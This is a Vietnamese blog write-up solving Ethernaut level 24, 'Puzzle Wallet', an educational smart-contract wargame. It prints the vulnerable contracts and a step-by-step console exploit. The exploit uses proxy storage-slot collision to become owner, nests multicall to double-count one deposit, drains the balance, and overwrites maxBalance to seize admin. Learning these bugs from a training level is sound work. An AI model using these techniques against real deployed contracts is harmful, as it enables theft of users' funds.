Skip to content

The Ethernaut writeups: 24 - Puzzle Wallet

Posted on:March 1, 2022

24. Puzzle Wallet

Nhiệm vụ: Chiếm quyền admin của contract Puzzle Proxy

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

Solution

Vậy nên ta có hướng đi như sau:

Chiếm owner của PuzzleWallet

đơn giản gọi hàm proposeNewAdmin là xong

function proposeNewAdmin(address _newAdmin) external {
    pendingAdmin = _newAdmin;
}

Ở đây có một chút rắc rối, instance của chúng ta đang được implement interface của PuzzleWallet nên nó không thể gọi trực tiếp hàm proposeNewAdmin vốn chỉ được implement trong Puzzle Proxy được. Giải quyết bằng cách dùng Remix để load ABI của Puzzle Proxy vào địa chỉ của instance, hoặc gọi thông qua function signature. Ở đây ta dùng cách gọi thông qua signature cho tiện.

web3.eth.abi.encodeFunctionSignature("proposeNewAdmin(address)");
> '0xa6376746'
web3.eth.abi.encodeParameter("address", player);
> '0x000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942'
contract.sendTransaction({
  data: "0xa6376746000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942",
});
await contract.owner();
> '0xC3a005E15Cb35689380d9C1318e981BcA9339942'

Ghi đè maxBalance để chiếm quyền admin

Để thay đổi maxBalance ta cần có các điều kiện:

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
  require(address(this).balance == 0, "Contract balance is not 0");
  maxBalance = _maxBalance;
}

Giờ ta đã nắm quyền owner rồi, vậy nên ta có thể add trực tiếp mình vào whitelist:

contract.addToWhitelist(player);

Contract ngay khi được tạo ra đã có balance là 0.001 ETH. Theo logic của contract thì để thực hiện bất cứ hành động gì, ta cần phải deposit vào một lượng ETH tương ứng với chi phí cho lời gọi execute. Có nghĩa là mặc định ta luôn luôn chỉ có thể tiêu max bằng số tiền mình nạp vào, và contract sẽ luôn còn ít nhất 0.001 ETH.

Nếu như chỉ nạp và rút từng lần riêng biệt thì đúng là như vậy. Nhưng contract còn cung cấp cho ta một hàm là multicall có thể gọi liên tục nhiều hàm cùng một lúc:

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    bool depositCalled = false;
    for (uint256 i = 0; i < data.length; i++) {
        bytes memory _data = data[i];
        bytes4 selector;
        assembly {
            selector := mload(add(_data, 32))
        }
        if (selector == this.deposit.selector) {
            require(!depositCalled, "Deposit can only be called once");
            // Protect against reusing msg.value
            depositCalled = true;
        }
        (bool success, ) = address(this).delegatecall(data[i]);
        require(success, "Error while delegating call");
    }
}

thoạt nhìn, logic được thiết kế rất ok, hàm deposit đã được giới hạn chỉ được gọi một lần; vì về bản chất đây là một lần gọi hàm, nên nếu deposit được gọi nhiều lần thì sẽ bị duplicate deposit, quá nguy hiểm.

Thế nhưng việc kiểm tra chỉ bằng selector selector == this.deposit.selector là không đủ. Nếu bằng cách nào đó ta wrap được hàm deposit bên trong một hàm khác thì khi được gọi đến ta vẫn sẽ pass qua được điều kiện này, có nghĩa là ta có thể duplicate deposit.

thật vậy, ta dùng input như sau: ["deposit()", "multicall([deposit()])"] là có thể pass qua được điều kiện check kia.

Như vậy ta có cách để đưa contract balance về 0 như sau:

Ta tiếp tục sử dụng chrome console (bạn đọc có thể sử dụng hardhat hoặc ethers.js cũng được)

data1 = web3.eth.abi.encodeFunctionSignature("deposit()");
> '0xd0e30db0'
data2 = eb3.eth.abi.encodeFunctionSignature("multicall(bytes[])");
> '0xac9650d8'
web3.eth.abi.encodeParameter('bytes[]', [data1]);
> '0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000';
data3 =
  "0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000";
contract.multicall([data1, data3], { value: toWei("0.001") });
(await getBalance(instance)).toString();
> '0.002'
fromWei((await contract.balances(player)).toString());
> '0.002';
contract.execute(player, toWei("0.002"), "0x");
(await getBalance(instance)).toString();
> '0'
# Convert số lớn bằng python
0xC3a005E15Cb35689380d9C1318e981BcA9339942
1116821831790595974849218070050646934865281521986
contract.setMaxBalance("1116821831790595974849218070050646934865281521986");
await web3.eth.getStorageAt(instance, 1);
> '0x000000000000000000000000c3a005e15cb35689380d9c1318e981bca9339942'

Thấy địa chỉ của mình là ok!

Bình luận

Đây là bài hay và khó nhất cho đến thời điểm hiện tại của chuỗi Ethernaut.